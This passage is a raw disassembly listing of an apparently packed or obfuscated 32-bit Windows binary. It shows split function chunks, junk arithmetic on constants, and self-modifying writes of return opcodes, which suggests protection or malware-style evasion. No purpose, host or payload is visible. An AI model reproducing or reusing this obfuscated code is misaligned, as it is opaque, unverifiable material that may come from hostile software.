END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- push ebp jmp loc_100149DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_10019E9B: ; CODE XREF: sub_1001C535:loc_1001B97Dj jz loc_10014345 jmp loc_1001C8EE ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10019EA6: ; CODE XREF: sub_1001537B:loc_1001472Fj jge loc_1001776B shl ebx, 10h mov esi, 0BFAF196Dh test edx, 4A1E413Eh jmp loc_100155BA ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10019EBF: ; CODE XREF: sub_100194EA+7j jb loc_10019ED7 mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_10016EE5 loc_10019ED7: ; CODE XREF: sub_100194EA:loc_10019EBFj cmp dword ptr [ebp-8], 0A22F8A70h jz loc_1001B7CA jmp loc_10019282 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10019EE9: ; CODE XREF: sub_10019409:loc_1001965Dj jnz loc_1001416D jmp loc_1001BA4F ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- loc_10019EF4: ; CODE XREF: an.kk9rg:100136D2j xchg ebx, esi ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10019EF6: ; CODE XREF: sub_100145ED:loc_100136BDj xor edx, 26494C77h add edx, ebp add edx, 91B4B305h push offset loc_1001C900 jmp nullsub_195 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10019F0E: ; CODE XREF: sub_10016D04+Ej jnz loc_10013ABF jmp loc_1001B54B ; END OF FUNCTION CHUNK FOR sub_10016D04 ; =============== S U B R O U T I N E ======================================= sub_10019F19 proc near ; CODE XREF: an.kk9rg:100177C5j ; sub_100180C2+3j ; FUNCTION CHUNK AT 1001639F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017FA3 SIZE 00000005 BYTES add esp, 0FFFFFFECh mov eax, (offset loc_10013FEE+2) call sub_1001D1DB cmp ds:dword_10013FFC, 0 jnz loc_1001820A jmp loc_10017FA3 sub_10019F19 endp ; --------------------------------------------------------------------------- loc_10019F38: ; CODE XREF: an.kk9rg:1001C60Cj call sub_1001DBEB jmp loc_10015645 ; --------------------------------------------------------------------------- pop ecx call sub_1001DBDB ; START OF FUNCTION CHUNK FOR sub_10017A34 loc_10019F48: ; CODE XREF: sub_10017A34+1Fj jmp loc_1001B07E ; END OF FUNCTION CHUNK FOR sub_10017A34 ; --------------------------------------------------------------------------- loc_10019F4D: ; CODE XREF: an.kk9rg:10016877j jp sub_1001A365 loc_10019F53: ; CODE XREF: an.kk9rg:1001C114j sub edx, 0A20B24ECh add edx, 3E95F154h jmp loc_1001DE88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10019F64: ; CODE XREF: sub_1001504E:loc_10018037j jnz loc_1001DB74 jmp loc_1001C611 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015353 loc_10019F6F: ; CODE XREF: sub_10015353:loc_100137FBj mov dword ptr [ebp-18h], 0 loc_10019F76: ; CODE XREF: sub_100141E3+7j ; sub_100190DC+3162j mov eax, [ebp-4] mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push offset loc_1001D624 jmp sub_1001406F ; END OF FUNCTION CHUNK FOR sub_10015353 ; --------------------------------------------------------------------------- or edi, ebx jmp loc_100194E8 ; --------------------------------------------------------------------------- loc_10019F92: ; DATA XREF: an.kk9rg:1001477Fo jz loc_1001D07F mov ebx, [ebx+ecx] call sub_1001A4DF jmp loc_1001D07F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10019FA5: ; CODE XREF: sub_100193F2:loc_10014AFAj add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_1001D07F call sub_10018B90 jmp loc_10016775 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10019FBE: ; CODE XREF: sub_100136D7:loc_10019725j jz loc_1001A637 call sub_1001C6B0 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10019FC9: ; CODE XREF: sub_10015995+5j jmp loc_1001AA3A ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100143F5 loc_10019FCE: ; CODE XREF: sub_100143F5+9j jmp loc_1001661B ; END OF FUNCTION CHUNK FOR sub_100143F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10019FD4: ; CODE XREF: sub_10015B1B+818Dj jmp loc_1001D476 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- loc_10019FD9: ; CODE XREF: an.kk9rg:1001AB00j shr eax, 0Ch ; =============== S U B R O U T I N E ======================================= sub_10019FDC proc near ; CODE XREF: sub_10016D66:loc_100163EBp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100185F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100187C3 SIZE 00000015 BYTES xchg edi, [esp+4+var_4] pop edi xchg edi, [esp+0] push 1848549Ah pop eax sub eax, 6342449Eh xor eax, 1D70672Bh jmp loc_100185F0 sub_10019FDC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100170BC loc_10019FFA: ; CODE XREF: sub_100170BC+16j sub ebx, 32D5FF3Ch add ebx, 0C556AB42h mov [ebx], eax pop ebx loc_1001A009: ; CODE XREF: sub_10015066:loc_10016799j jmp loc_1001DAD8 ; END OF FUNCTION CHUNK FOR sub_100170BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B913 loc_1001A00E: ; CODE XREF: sub_1001B913+7j mov ecx, ebp loc_1001A010: ; CODE XREF: an.kk9rg:1001D400j xchg ecx, [esp+4+var_4] mov ebp, esp push ecx mov esp, ebp pop ebp push 7AA404F7h pop eax jmp loc_10016EBD ; END OF FUNCTION CHUNK FOR sub_1001B913 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001A024 proc near ; CODE XREF: sub_10019D80-BFp ; sub_10019D80+1EC6p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014669 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016C1C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10019702 SIZE 00000012 BYTES push edx mov edx, ebp xchg edx, [esp+0] mov ebp, esp jmp loc_10014669 sub_1001A024 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001A031: ; CODE XREF: sub_100136D7:loc_10016BC5j add ebx, 7D581C73h shl ebx, 1Eh jmp loc_10017F60 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A03F: ; CODE XREF: sub_10016D66-35Cj test ebp, ecx jmp loc_10014F5D ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_1001A046: ; CODE XREF: sub_1001C9F8-9422j jz loc_100172D0 push 3B1D6F5Ah loc_1001A051: ; CODE XREF: sub_1001C9F8:loc_100135CEj add edi, 77CD55EBh xchg edi, [esp+4+var_4] jmp loc_100174DB ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; --------------------------------------------------------------------------- sub esi, 575AFCC9h jmp sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001A06A: ; CODE XREF: sub_10015E0D:loc_10016CC5j mov eax, [ebp+var_4] push offset sub_10015DCF jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001A078: ; CODE XREF: sub_1001492C:loc_1001DB55j jnz loc_1001DF4B jmp loc_10017487 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- jle loc_10015030 xor ecx, 0FA5FC45h jmp sub_1001B692 ; --------------------------------------------------------------------------- loc_1001A094: ; DATA XREF: sub_1001DC70:loc_10015EA3o mov eax, [eax] or eax, eax jnz loc_100197D3 jmp loc_1001600F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_1001A0A3: ; CODE XREF: sub_1001997C-D70j nop mov eax, [esp-4+arg_0] call sub_100174F4 locret_1001A0AC: ; CODE XREF: sub_10018E56:loc_10014070j retn ; END OF FUNCTION CHUNK FOR sub_1001997C ; =============== S U B R O U T I N E ======================================= sub_1001A0AD proc near ; CODE XREF: sub_1001A8DD-1B61j ; FUNCTION CHUNK AT 1001754B SIZE 00000004 BYTES push ebp xor esi, 0E19C0C6Dh jmp loc_1001754B sub_1001A0AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001A0B9: ; CODE XREF: sub_100180C2-128Dj ; sub_10016D66:loc_10018480j jg loc_1001774C loc_1001A0BF: ; CODE XREF: sub_100180C2:loc_10016E27j xor edx, 3EDADB65h add eax, edx push offset sub_1001A97E jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001A0D1: ; CODE XREF: sub_1001701B-27E3j pop edi and edi, 0A41FFDDEh add edi, 0EBF12DA1h xchg edi, [esp+8+var_8] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- pop edx jmp sub_10015190 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001A0EC: ; CODE XREF: sub_100130C7:loc_10019720j add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax loc_1001A0F8: ; CODE XREF: sub_100130C7:loc_100181B0j mov eax, [ebp-8] shl eax, 0Fh add [ebp-8], eax jmp loc_1001D48F ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- test eax, eax jz loc_1001B00C jmp loc_10015E5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_1001A113: ; CODE XREF: sub_10014DD9:loc_1001B13Ej ; DATA XREF: sub_1001A8DD-3383o xchg edi, [esp+4+var_4] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_1001440E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A123: ; CODE XREF: sub_10016D66-B15j xor ebx, 0F9122Ah push esi jmp loc_10013207 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_1001A12F proc near ; DATA XREF: sub_1001893F-C65o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014E0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015002 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 100161B7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10016A34 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E50 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100198F5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001A6A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C7A9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001CF87 SIZE 00000006 BYTES cmp byte ptr [eax], 0F1h jnz loc_10016E57 jmp loc_10016A34 sub_1001A12F endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edi push 95401B98h pop edi or edi, 4C6C239h jmp loc_1001403F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001A14F: ; CODE XREF: sub_10015C14:loc_10015C27j adc eax, ebp jmp loc_100171BC ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001A156: ; CODE XREF: sub_10015988+5F7Cj or eax, 957B44FEh cmp ebx, 2F23B1F0h jmp loc_10019C71 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_1001A167: ; CODE XREF: sub_1001679F:loc_10016378j or eax, eax jnz loc_100140B1 jmp loc_1001DEC9 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001A174: ; CODE XREF: sub_1001C535-2D8Fj jz loc_1001916F jmp loc_1001B730 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_1001A180: ; CODE XREF: sub_10017667+269Dj jmp loc_10014A67 ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_1001A185: ; CODE XREF: sub_100132E5+1j mov ebp, esp push ecx push ecx push 0A4A0656Fh pop ecx or ecx, 8E3ADB11h and ecx, 2B5B78A4h jmp loc_10015C2C ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- loc_1001A1A0: ; CODE XREF: an.kk9rg:loc_10014BD7j mov al, [eax] jno loc_10013280 sub al, 99h push 9E2235A6h pop edx sub edx, 17DA9F6Ch ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001A1B6: ; CODE XREF: sub_10018E79:loc_10016105j jmp loc_1001C896 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001A1BB: ; CODE XREF: sub_10016A1B+13j ; sub_100136D7:loc_1001B7E4j inc eax mov eax, [eax] add eax, [ebp-4] jmp loc_10017E8A ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001A1C6: ; CODE XREF: sub_100193F2:loc_1001891Aj mov eax, [ebp-4] jmp loc_1001B441 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001474E loc_1001A1CE: ; CODE XREF: sub_1001474E:loc_100185E5j jmp ds:off_10002040 ; END OF FUNCTION CHUNK FOR sub_1001474E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B982 loc_1001A1D4: ; CODE XREF: sub_1001B982+11j jmp loc_1001B425 ; END OF FUNCTION CHUNK FOR sub_1001B982 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001A1D9: ; CODE XREF: sub_10013BB8-23Bj jmp loc_1001D065 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; =============== S U B R O U T I N E ======================================= sub_1001A1DE proc near ; CODE XREF: an.kk9rg:10013A77j ; sub_1001474Ep ... call sub_10016A39 sub_1001A1DE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_1001A1E3: ; CODE XREF: sub_10018C76-3BBEj jmp sub_1001A810 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014FD4 loc_1001A1E8: ; CODE XREF: sub_10014FD4+7j jmp sub_10016B29 ; END OF FUNCTION CHUNK FOR sub_10014FD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001A1ED: ; CODE XREF: sub_100190DC+3168j not esi loc_1001A1EF: ; CODE XREF: sub_100190DC:loc_1001C238j or eax, 0D6E9883Fh add eax, 794D773h add eax, ebp jmp loc_10019523 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001A202: ; CODE XREF: sub_10015C77:loc_100186DAj and eax, 6294FEE7h add eax, 7D52C4FFh add eax, ebp add eax, 2098647Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_10018C2F jmp loc_10018EB2 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- xor eax, ebp or eax, 471853Dh jmp sub_1001691F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001A233: ; CODE XREF: sub_100180C2+251j push edx push 0A79FF7Dh pop edx xor edx, 0D354BA0Bh jmp loc_100156E1 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CB9 loc_1001A245: ; CODE XREF: sub_10017CB9:loc_100192B6j ; sub_10017CB9+1608j add esi, 0C35D16DBh xor esi, 0D12B94D2h add esi, ebp add esi, 53CD91F5h mov [esi], eax pop esi jmp loc_10018CB6 ; END OF FUNCTION CHUNK FOR sub_10017CB9 ; --------------------------------------------------------------------------- loc_1001A261: ; CODE XREF: an.kk9rg:loc_10016CDAj or eax, ebx ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001A263: ; CODE XREF: sub_10015E0D:loc_10016CBFj add esi, 0C60192C8h xchg esi, [esp+4+var_4] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_1001A271: ; CODE XREF: an.kk9rg:10016AC2j jge sub_10015743 ; =============== S U B R O U T I N E ======================================= sub_1001A277 proc near ; CODE XREF: an.kk9rg:10017EE3p xchg esi, [esp+0] pop esi lea eax, loc_10018D1A mov byte ptr [eax], 0C3h jmp loc_10018D1A sub_1001A277 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_1001A289: ; CODE XREF: sub_1001B3A1-2681j mov eax, [esp+0] push edx call sub_1001ABFD jmp loc_10013019 ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- loc_1001A297: ; CODE XREF: an.kk9rg:loc_100158C1j jz loc_100158DB jmp loc_10016A16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A2A2: ; CODE XREF: sub_10013389+154Bj jnz loc_100133CB xchg ebp, eax add ecx, 1F9C6D6Dh jmp loc_100133C1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001A2B5: ; CODE XREF: an.kk9rg:1001B6C3j xor ebp, 4B80E6AFh loc_1001A2BB: ; CODE XREF: an.kk9rg:loc_1001B6B3j or ebx, 9717E671h test ebx, 4 jmp loc_10016B64 ; =============== S U B R O U T I N E ======================================= sub_1001A2CC proc near ; CODE XREF: sub_1001BBDA-6AC1p ; an.kk9rg:1001A6B6j ; FUNCTION CHUNK AT 1001360F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016984 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017DFE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C0BB SIZE 0000000B BYTES xchg edi, [esp+0] pop edi add eax, ebp add eax, 36061A3Dh mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_1001C0BB sub_1001A2CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb eax, edi jmp loc_1001780F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001A2E9: ; CODE XREF: sub_10013061+A6DAj pop edi rol edx, 1Bh sub edx, 3BE40DC2h jb loc_100194B8 ; END OF FUNCTION CHUNK FOR sub_10013061 ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_1001A2F9: ; CODE XREF: sub_1001C547-7706j jmp loc_1001C7B0 ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- add ebx, 39FBCD51h ror eax, 0Eh and ecx, 9038E282h jmp loc_100194B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001A312: ; CODE XREF: sub_1001767A+1B5Ej add eax, 0D8E5CEE1h adc edx, 58BEF90Dh mov ecx, [esi] jmp loc_1001DAC3 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_1001A325: ; CODE XREF: an.kk9rg:10015391j jns loc_10015A5B jno loc_10015638 cmp ecx, 2A74925Dh jmp loc_100130AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194D6 loc_1001A33C: ; CODE XREF: sub_100194D6+Dj and ebx, 875AEEE5h or ebx, 8F65D744h add ebx, 8099B1DEh xchg ebx, [esp+4+var_4] jmp sub_100174F4 ; END OF FUNCTION CHUNK FOR sub_100194D6 ; --------------------------------------------------------------------------- mov [edx], edi adc esi, edi jmp sub_10017667 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001A360: ; CODE XREF: sub_10016D66+FB7j jmp loc_1001948E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_1001A365 proc near ; CODE XREF: sub_10018066-3C00p ; an.kk9rg:100176FCj ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10018F3D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019A9E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001B3B9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CDB3 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_10019030 loc_1001A36E: ; CODE XREF: an.kk9rg:loc_10019DA6j xchg ebp, [esp+0] jmp loc_10018F3D sub_1001A365 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001A376: ; CODE XREF: sub_1001ABFD:loc_1001DF1Fj jns loc_1001CB1A pushf ror eax, 0Ah xor ebx, 1C3A43E7h popf jmp loc_100194F6 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001A38C: ; CODE XREF: sub_1001B5A3-63D8j mov eax, 0A2CD59D9h push edi push 0EE04F09Ch pop edi jmp loc_100173C7 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001A39E: ; CODE XREF: an.kk9rg:10018CF3j jmp loc_100151A8 ; --------------------------------------------------------------------------- shr ecx, 1 jmp sub_1001B45F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001A3AA: ; CODE XREF: sub_100174F4:loc_10013982j ; sub_100174F4+2063j xor edx, 0EAC78DCDh add edx, 151330B0h xchg edx, [esp+8+var_8] jmp loc_10018934 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; =============== S U B R O U T I N E ======================================= sub_1001A3BE proc near ; CODE XREF: sub_1001CC01j ; DATA XREF: sub_10019C34+2FC3o ; FUNCTION CHUNK AT 1001D08A SIZE 00000005 BYTES jnz loc_1001D1EB jmp loc_1001D08A sub_1001A3BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D1DB loc_1001A3C9: ; CODE XREF: sub_1001D1DB:loc_1001D1EBj push eax push 0 loc_1001A3CC: ; CODE XREF: sub_10019571:loc_1001A5D2j call sub_1001CB33 pop eax jmp loc_1001CB25 ; END OF FUNCTION CHUNK FOR sub_1001D1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001A3D7: ; CODE XREF: sub_1001B3CA+Dj jz loc_1001ABF0 jmp loc_1001417F ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- xchg esi, [ecx] jmp sub_1001C77E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A3EA: ; CODE XREF: sub_10017BF9+588Ej jmp loc_1001A740 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_1001A3EF: ; CODE XREF: an.kk9rg:10014EBAj jmp locret_10017C73 ; =============== S U B R O U T I N E ======================================= sub_1001A3F4 proc near ; CODE XREF: sub_10015860:loc_100167AFj ; FUNCTION CHUNK AT 1001DAE7 SIZE 0000000F BYTES add esp, 0FFFFFFECh cmp ds:byte_10019638, 0 jnz loc_1001DAE7 lea edx, [ebp-14h] mov eax, offset dword_10019644 call sub_10019030 lea eax, [ebp-14h] push offset sub_100191F9 jmp nullsub_57 sub_1001A3F4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001A41E: ; CODE XREF: sub_100194EA:loc_1001B8B5j lea eax, [ebp-125h] push eax call sub_100142E8 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_10018C91 lea eax, [ebp-125h] push eax jmp loc_10018C89 ; END OF FUNCTION CHUNK FOR sub_100194EA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001A444: ; CODE XREF: sub_10017FE2+Cj jmp loc_100199A8 ; --------------------------------------------------------------------------- mov eax, 92B16BD7h push esi push 0A8CD5A81h xchg ebx, [esp] jmp loc_1001A8A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_1001A45C: ; CODE XREF: sub_10015DB9:loc_100158A8j push offset loc_1001A789 jmp nullsub_58 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001A466: ; CODE XREF: sub_10016167:loc_1001B819j add eax, 80395231h mov eax, [eax] push eax push offset sub_100164A2 jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_1001A479: ; CODE XREF: an.kk9rg:1001B019j xchg ebx, [esp] pop ebx mov eax, 131h push ebx jmp loc_10019131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001A488: ; CODE XREF: sub_10017A58-1AF6j popf pushf shr ecx, 7 loc_1001A48D: ; CODE XREF: sub_10017A58:loc_1001AD55j push 7F8B08FAh pop eax jmp loc_100157CB ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001A498: ; CODE XREF: sub_1001893F:loc_10015A11j xor eax, 6FBB2124h rol eax, 1Dh xor eax, 0D119625Eh jmp loc_1001742A ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_1001A4AC: ; CODE XREF: an.kk9rg:loc_1001AE1Dj mov eax, ds:dword_1001401C or eax, eax jnz loc_1001B2BF jmp loc_1001434A ; --------------------------------------------------------------------------- loc_1001A4BF: ; DATA XREF: sub_1001CFB1+6o mov byte ptr [eax], 0C3h jmp sub_1001A1DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001A4C7: ; CODE XREF: sub_10016D04+5664j add eax, ebp add eax, 367EE829h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001921B loc_1001A4DA: ; CODE XREF: an.kk9rg:1001BBCFj jmp loc_10016F0E ; END OF FUNCTION CHUNK FOR sub_10016D04 ; =============== S U B R O U T I N E ======================================= sub_1001A4DF proc near ; CODE XREF: an.kk9rg:10019F9Bp ; sub_1001D076+4p ... ; FUNCTION CHUNK AT 10018338 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001DA41 SIZE 00000005 BYTES xor bx, bx add ebx, 10000h loc_1001A4E8: ; CODE XREF: sub_10013BAD+4j ; sub_1001A4DF-21A1j jo loc_10018345 sub ebx, 10000h mov eax, [ebx] jmp loc_1001DA41 sub_1001A4DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001A4FB: ; CODE XREF: sub_10015BFC:loc_1001B6B9j jz loc_10018717 jmp loc_100157E9 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001A506: ; CODE XREF: sub_100188EE-1095j ; sub_1001D251+498j add eax, 0C49E3B5Bh sub eax, 3DBF4CE2h loc_1001A512: ; CODE XREF: sub_1001D251:loc_1001DA92j mov 